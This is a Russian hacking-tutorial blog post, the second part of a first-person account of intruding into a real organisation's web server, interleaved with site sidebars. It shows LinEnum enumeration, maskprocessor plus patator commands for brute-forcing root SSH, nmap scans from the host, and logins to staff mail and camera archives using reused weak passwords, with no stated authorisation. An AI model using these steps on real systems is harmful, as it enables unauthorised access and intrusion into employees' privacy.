

* Как взламывают сайты (часть 2)

Если вы ещё не читали первую часть, то рекомендуется [начать с неё](#).

9. Камеры

Без камер сейчас никуда: в комнате отдыха воруют печенки, на рабочих местах работники не работают, в туалетах промахиваются мимо писсуара... Эта организация тоже не исключение. Я не просто так в первой части показал, как проверять размер папок и как выборочно архивировать папки веб-сервера. Два хоста оказались хранилищем фотографий на десятки гигабайт. Там всё пристойно, единственное что, камеры со встроенным датчиком движения, поэтому запись происходит только когда в комнате кто-то есть. Одна из камер установлена в комнате отдыха — там где чаёк, еда, телевизор. Так вот, если на ускоренном темпе просматривать эти фотографии (получается как видео), то создаётся сюрреалистическое впечатление, что люди в этой организации без конца жрут... День проходит так: восходит солнышко, заходят первые люди и начинают пить кофе, затем начинают есть, затем они уходят и начинают есть другие, затем приходят ещё больше людей и тоже начинают есть, потом эти уходят и приходят другие со своей едой и опять едят, и это повторяется и повторяется пока не наступит закат... Затем следующий день — точно такой, люди едят-едят-едят и вот такого почти на 100 Гигабайт...

Причём веб-интерфейс со слабым паролем для просмотра всего этого «добра» расположен на поддоме сайта, доступного из Глобальной сети.



10. Поиск слабых настроек сервера

Итак, из веб-сайтов мы уже вытрясли всё, что только можно, - исходный код, базы данных, пароли пользователей.

Теперь давайте осмотримся на самом сервере — к чему у нас есть доступ, какие настройки являются слабыми, какую информацию мы можем получить о системе, пользователях, запущенных службах.

Всё это можно делать вручную запуская утилиты в командной строке или воспользоваться одной из программ автоматизации. Например, я применю [LinEnum](#). Подробности работы с ней описаны в «[Аудит безопасности хостинга и других совместно используемых систем на Linux](#)».

Скачиваем её:

```
1 | wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

Запускаем:

```
1 | bash LinEnum.sh
```

И ждём результатов.

Информации много. Информацию о системе и ядре можно использовать для поиска эксплойтов, которые выполняют эскалацию привилегий — повышение прав.

Получена информация о пользователях (имя, IP, дата последнего входа), выполнявших вход в систему, — их имена можно использовать для брут-форса (подбора пароля методом перебора) SSH. Причём у одного из пользователей локальный адрес **10.*.*** - это даёт нам подсказку о структуре локальной сети.

Показано, кто из пользователей является администратором, а также аккаунты, кто недавно использовал **sudo** (то есть у кого есть право выполнять команды с повышенными привилегиями — такие аккаунты представляют первостепенный интерес).

Собрана информация о сетевых интерфейсах, показан локальный IP — можно выполнить сканирование сети в поисках других подключённых устройств.

Показаны прослушиваемые порты (те, к которым можно подключиться) — их много. Их стоит проверить, так как там могут быть интересные службы.

Информация о запущенных процессах говорит о том, что работает почтовый сервер, прокси, DNS сервер, служба IP камер.

Собраны номера версий популярных служб — на случай, если мы будем искать эксплойты.

Среди интересных файлов внезапно обнаружился [nmap](#) — можно сканировать хост прямо с самого себя — это даст супер быстрые результаты.

11. Брут-форс SSH и FTP

ПОДПИСАТЬСЯ НА НОВЫЕ СТАТЬИ

E-mail*

SUBMIT

ПОДПИСАТЬСЯ НА ТЕЛЕГРАМ КАНАЛ

Уведомления о выходе новых статей на HackWare.ru в Телеграмме: t.me/hackware_ru

ПОИСК ПО САЙТУ



СВЕЖИЕ ЗАПИСИ

- Аудит безопасности роутера SKYWORTH GN542VF — взламываем пароль не выходя из веб-браузера!
- Использование файлов масок .hcmask в Hashcat для максимально гибкой замены символов
- SMB: настройка общей сетевой папки в Windows
- Аудит безопасности Wi-Fi с Hashcat и hcxdumpool
- Повышение эффективности аудита безопасности Wi-Fi: новые инструменты, хеш и техники

СВЕЖИЕ КОММЕНТАРИИ

- Александр к записи USB Wi-Fi адаптеры с поддержкой режима монитора и беспроводных инъекций (100% совместимые с Kali Linux) на 2022
- Аноним к записи Автоматизированная атака Pixie Dust: получение ПИНов и паролей Wi-Fi без ввода команд
- Александр к записи USB Wi-Fi адаптеры с поддержкой режима монитора и беспроводных инъекций (100% совместимые с Kali Linux) на 2022
- ФСБ к записи Как в Linux сбросить забытый пароль входа
- Alexey к записи Как установить веб-сервер (Apache, MySQL, PHP и phpMyAdmin) в Windows 11

📄 НОВЫЕ ТЕМЫ НА ФОРУМЕ

- Virtualbox из persistence раздела в KALI
- Поставил VNC server на Kali перегружился не могу войти по логину,паролю???
- ProtonVPN: инструкции, обсуждение проблем новости
- Как скачать Kali Linux 2018.X
- metasploit armitage проблема
- Установка Kali на USB носитель.
- Проблемы с Parallels, Kali, MacBook M1, Wine одновременно
- PostgreSQL в Kali Linux
- Как создать загрузочный внешний жёсткий диск с Kali
- не становится принтер workcentre 3025

📄 НОВЫЕ СООБЩЕНИЯ НА

На сервере были найдены два пользователя с правами администратора, **root** и ещё один, имя которого привести не могу.

Анализ исходного кода веб-интерфейсов для просмотра сохранённых с камер фотографий дал ещё один пароль — тоже из шести цифр. Я обратил внимание, что владельцем папок веб-сервера, где расположены фотографии, является не Apache (не **www-data**), а разные пользователи. Оказалось, что для них предусмотрены учётные данные FTP, а также для под ними можно войти по SSH, причём в обоих случаях подходит пароль администратора, который подходит и для root MySQL, и для сервиса на сайте. К сожалению, у этих пользователей нет прав на выполнение команд с **sudo**. То есть у меня и так уже есть доступ к тому, к чему у них есть доступ (разве что, под этими пользователями можно редактировать файлы сайтов).

Но, что самое печальное, что этот самый пароль администратора не подходит к пользователю системы Linux, также не подходит к учётной записи **root**. Если честно, я сначала даже удивился — ко всему подходит, а к этому не подходит... Видимо, пароли для этих пользователей придумывали на аутсорсе...

Будем исходить из того, что пароль всё-таки из шести цифр. Тогда сгенерируем его с помощью **maskprocessor**:

```
1 | maskprocessor ?d?d?d?d?d?d > dig.pass
```

Для брутфорса я предпочитаю **patator**.

Я хотел запустить подбор пароля прямо с самого сервера. Python там оказался установленным, но не оказалось **paramiko**, поэтому я получил ошибку:

```
1 | ERROR: paramiko 1.7.7.1 (http://www.paramiko.org/) is required to run ssh_login.
```

В результате запустил брут-форс по старинке:

```
1 | patator ssh_login host=IP user=root password=FILE0 0=dig.pass -x ignore:msg='Authentication failed.'
```

У меня уже не было цели во что бы то ни стало добыть пароль — уже доказано, что сервер небезопасен. Поэтому я не брутфорсил 24/7, запускал иногда перебор, когда вспоминал про это. Дней через 10 вдруг перебор застопорился:

```
1 | ssh: connect to host IP port 22: Connection refused
```

Я сначала подумал, что забанили IP, откуда присылались запросы. Но это не подтвердилось.

Как оказалось, на сервер был выполнен вход под учётной записью **root** и был изменён файл **/etc/ssh/sshd_config**. Не знаю, это связано с моей деятельностью или просто админ решил «докрутить безопасность». Я заглянул в файл настроек SSH:

```
1 | cat /etc/ssh/sshd_config
```

Главное, в чём была докрутка, это вот такая директива:

```
1 | Port 40022
```

То есть вместо порта 22 теперь SSH сервер работает на порте 40022 — видимо, чтобы никто не догадался.

Для решения этой проблемы в **patator** нужно указать нестандартный порт:

```
1 | patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:msg='Authenticati
```

Если перебор не доведён до конца, то при завершении работы **patator** выведет что-то вроде:

```
1 | 08:56:40 patator INFO - To resume execution, pass --resume 3591,3577,3564,3592,3572,3588,3588,3568,3568
```

Если вы хотите продолжить с того места, где была сделана остановка, то при последующем запуске **patator** добавьте эту строку к команде, получится примерно так:

```
1 | patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:msg='Authenticati
```

Удачный подбор пароля от Linux пользователя **root** или от пользователя, у которого есть права на выполнение команд с **sudo**, означает самую полную компрометацию сервера — полный взлом. Взломать сильнее уже невозможно — становятся доступными любые настройки, любые файлы, любые действия на сервере.

12. Взлом почты

Как я уже сказал, на сервере оказалась установленной программа **nmap**, поэтому я решил изучить локальную сеть сервера.

Посмотрел локальный IP:

```
1 | ip a
```

Запустил сканирование, но ничего не нашёл:

```
1 | nmap -sn 192.168.144.0/24
```

Трассировка:

```
1 | traceroute -n ya.ru
```

показала, что сервер напрямую подключён к провайдеру — что, в общем-то, и так должно было быть очевидным — это же сервер, у них у всех внешний IP.

Я просканировал порты:

```
1 | nmap localhost -p-
```

и увидел там много интересного.

В результате я решил **собрать банеры служб**:

```
1 | nmap localhost -p- -sV --script=banner
```

Среди прочего там была информация **Kerio Connect 9.2.1** и **open ssl/http Kerio MailServer http config**. Как я науглил — это почтовый сервис.

Упоминания о почтовом сервисе я уже видел в информации на одном из хостов (субдоменов) — там было написано, что почта теперь переехала на Yandex, поэтому я как-то быстро про это забыл.

Но оказалось, что если в браузере ввести IP с правильным номером порта, то открывается форма входа на почту организации. Я попробовал несколько учётных записей (имя пользователя и пароль) из тех, которые были в базе данных — многие подошли.

В том числе подошёл тот самый админский пароль от почты администратора.

Почта использовалась нескольких лет, но заброшена уже на протяжении почти года.

Важность взлома почты вряд ли нужно объяснять — накопленная годами информация, данные о сотрудниках (это в дополнении к их фотографиям, которые были добыты чуть ране), возможности для социальной инженерии — поэтому в этом месте я подумал что уже, пожалуй, хватит с этого сервера.

Заключение

ФОРУМЕ

- Выпущен OpenVPN 2.5.7
- HA: Virtualbox из persistence раздела в KALI
- HA: ProtonVPN: инструкции, обсуждение проблем новости
- HA: ProtonVPN: инструкции, обсуждение проблем новости
- HA: Как установить Wine в Kali Linux

Онлайн книга

Аудит безопасности Wi-Fi сетей с Kali Linux

РУБРИКИ

- IT криминалистика (Forensics)
- Sniffing и Spoofing
- Анонимность, шифрование данных и антикриминалистика
- Атака на пароли
- Беспроводные сети
- Веб приложения
- Железо
- Защита
- Инструменты эксплуатации
- Книги
- Новости
- Новости сайта
- Обратный инжиниринг (Reverse Engineering)
- Поддержка доступа
- Рабочая среда
- Сбор информации
- Языки программирования

НОВОСТИ ДРУЗЕЙ

- Ошибки «Incorrect definition of table mysql.event: expected column 'definer' at position 3 to have type varchar(), found type char(141)» и «Event Scheduler: An error occurred when initializing system tables. Disabling the Event Scheduler» (РЕШЕНО)
Источник: BlackArch.ru | Дата: 2022-06-01
- Как скачать пакет без установки в Arch Linux и Manjaro. Как скачать исходный код пакета AUR
Источник: BlackArch.ru | Дата: 2022-05-22
- Как поменять страну в Play Store
Источник: zaWindows.ru | Дата: 2022-05-07
- Как в Wine File Manager настроить Избранное (Favorites) и добавить папки? (РЕШЕНО)
Источник: ZaLinux.ru | Дата: 2022-05-04
- Как сделать так, чтобы виртуальные машины VirtualBox уничтожались при перезагрузке компьютера
Источник: ZaLinux.ru | Дата: 2022-05-04
- Почему Linux с Persistence не сохраняет настройки после перезагрузки? (РЕШЕНО)
Источник: ZaLinux.ru | Дата: 2022-05-04
- Ошибка «Failed - Network error» во время экспорта в phpMyAdmin (РЕШЕНО)
Источник: ZaLinux.ru | Дата: 2022-05-02
- Ошибка «не удалось завершить транзакцию (неверный или поврежденный пакет)» (РЕШЕНО)
Источник: BlackArch.ru | Дата: 2022-05-02
- Что произойдёт если клиент с IPv4 попытается получить доступ к серверу, работающему только на IPv6 (РЕШЕНО)
Источник: ZaLinux.ru | Дата: 2022-04-09

Вы можете подумать, что этот рассказ — это просто перечисление всех самых детских и самых нелепых ошибок, которые только могут допустить начинающие школьник-программист и администратор. Мол в реальной-то жизни такого не бывает. Бывает... Это абсолютно реальный разбор, реального сервера.

К сожалению, не могу даже в общих чертах сказать о контексте этого случая. Но факт в том, что организация, которой принадлежит этот сервер, находится в Москве и у неё не без оснований на стене висит большой триколор.

Вы можете обратить внимание, что я по минимуму использовал специализированные утилиты. Почти все «взломы» заключались в том, что я знал где и что нужно посмотреть и просто это смотрел. Поэтому обучение аудиту безопасности сайтов (взлому сайтов), заключается не только в изучении специализированных утилит. В первую очередь нужно понимание происходящих процессов. Если мы говорим о сайтах, то должно быть понимание, как они функционируют. Я не могу себе представить, как можно делать тест на проникновение сайта, если нет умений по программированию на PHP и хоть какого-то опыта в создании сайтов и веб приложений (CMS, движков и прочего). Если пентестинг продолжается на сервере, то тут просто нечего делать без таких мирных профессиональных навыков как:

- понимание работы сервера, умение его настраивать
- понимание ОС Linux, её внутреннего устройства
- умение работать в командной строке и знание хотя бы самых ходовых команд (утилит) Linux

Связанные статьи:

- [Как взламывают сайты](#) (100%)
- [Атаки на JavaScript на примере обхода Social Locker for WordPress \(KEYC\)](#) (68%)
- [Техники обхода файрволов веб-приложений \(Web Application Firewall \(WAF\)\) \(ч. 1\)](#) (59.6%)
- [Техники обхода файрволов веб-приложений \(Web Application Firewall \(WAF\)\) \(ч. 2\)](#) (59.6%)
- [Техники обхода файрволов веб-приложений \(Web Application Firewall \(WAF\)\) \(ч. 3\)](#) (59.6%)
- [Поиск сетки вредоносных сайтов \(кейс\)](#) (RANDOM - 1.2%)

Рекомендуется Вам:

👤 Alexey 📅 22 апреля, 2019 📁 веб-сайты, взлом, загрузка, кейсы, Командная строка Linux, сервер, уязвимости 📄 Веб приложения 💬 No Comments »

← **Как взламывают сайты**

**Анализ вредоносной программы под Linux: плохое
самодельное шифрование** →

- Как отредактировать страничку блокировки в Squid? Вставить свои картинки и почту?
- Источник: ZaLinux.ru | Дата: 2022-04-07

МЕТКИ

aircrack-ng Airodump-ng Apache BlackArch DNS IP
Kali Linux Linux Linux Mint MySQL Nmap
odlHashcat (Hashcat) PHP SSH Tor Ubuntu
Windows Wireshark WPA / WPA2 WPS
Командная строка Linux Командная строка
Windows автоматизированный взлом атака
методом перебора (грубой силой -
брут-форсинга) атака на
беспроводные сети Wi-Fi атаки
человек-посередине (Man-In-The-Middle attacks) веб-
приложения веб-сайты взлом
компьютерные сети обход ограничений и
блокировок ошибки пароли прокси разведка
решение проблем маршрутизаторы рукопожатие (handshake)
сбор информации сервер
сканирование веб-приложений сканирование сети
установка Kali Linux уязвимости шифрование

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены

Source

Format

Font

Size

Имя

Email

Сайт

☐ Получать новые комментарии по электронной почте. Вы можете [подписаться](#) без комментирования.

ОТПРАВИТЬ КОММЕНТАРИЙ

Вставить картинку в комментарий (GIF, PNG, JPG, JPEG):

No files selected.

